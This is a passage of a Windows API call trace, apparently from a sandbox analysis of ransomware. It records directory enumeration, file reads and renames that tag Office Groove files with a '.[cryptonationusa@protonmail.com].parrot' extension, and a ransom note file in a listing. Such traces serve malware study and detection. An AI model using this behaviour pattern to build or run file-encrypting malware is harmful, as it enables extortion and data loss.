out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab11, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolHomePageBackground.jpg", cAlternateFileName="WSSFIL~1.JPG")) returned 1 [0187.537] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.537] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.539] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.539] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xab11, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xab11, lpOverlapped=0x0) returned 1 [0187.540] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.541] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.546] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0187.546] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfbd066e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfbd066e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.546] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbd066e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xfbd066e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfbd066e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0187.547] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0187.550] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0187.550] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.550] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0187.550] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0187.550] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2519, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveTabImage.jpg", cAlternateFileName="ACTIVE~1.JPG")) returned 1 [0187.550] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.551] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.555] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.555] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2519, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x2519, lpOverlapped=0x0) returned 1 [0187.556] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.562] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.562] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.563] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.563] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xca8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xca8, lpOverlapped=0x0) returned 1 [0187.564] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.564] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimagemask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimagemask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.568] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.568] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.570] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.570] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9bd, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x9bd, lpOverlapped=0x0) returned 1 [0187.571] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.571] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.575] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.575] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.576] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.576] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24ed, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x24ed, lpOverlapped=0x0) returned 1 [0187.577] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.578] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.581] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.582] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.583] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.583] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xca8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xca8, lpOverlapped=0x0) returned 1 [0187.583] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimagemask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimagemask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.588] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.588] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.589] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.589] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x98b, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x98b, lpOverlapped=0x0) returned 1 [0187.590] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.590] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.632] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.632] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.633] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.633] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x74, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x74, lpOverlapped=0x0) returned 1 [0187.634] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.634] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.640] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0187.640] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfbdeaf20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfbdeaf20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.640] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbd2c840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2638, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveTabImage.jpg.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACTIVE~1.PAR")) returned 1 [0187.640] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0187.658] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0187.658] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.658] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0187.658] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0187.658] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="ADDTOV~1.JPG")) returned 1 [0187.660] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.660] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.666] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.666] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbe8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xbe8, lpOverlapped=0x0) returned 1 [0187.666] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.667] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrow.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.673] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.673] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.674] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.674] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x924, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x924, lpOverlapped=0x0) returned 1 [0187.675] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.675] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrowmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrowMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrowmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.680] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.681] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.682] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.682] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xae8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xae8, lpOverlapped=0x0) returned 1 [0187.683] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.683] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\attention.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\attention.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\attention.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.688] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.688] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.689] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.689] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x614e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x614e, lpOverlapped=0x0) returned 1 [0187.691] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.691] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_adobe.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\BG_ADOBE.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_adobe.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.697] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.697] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.699] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.699] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x161d, lpNumberOfBytesRead=0x18e604, 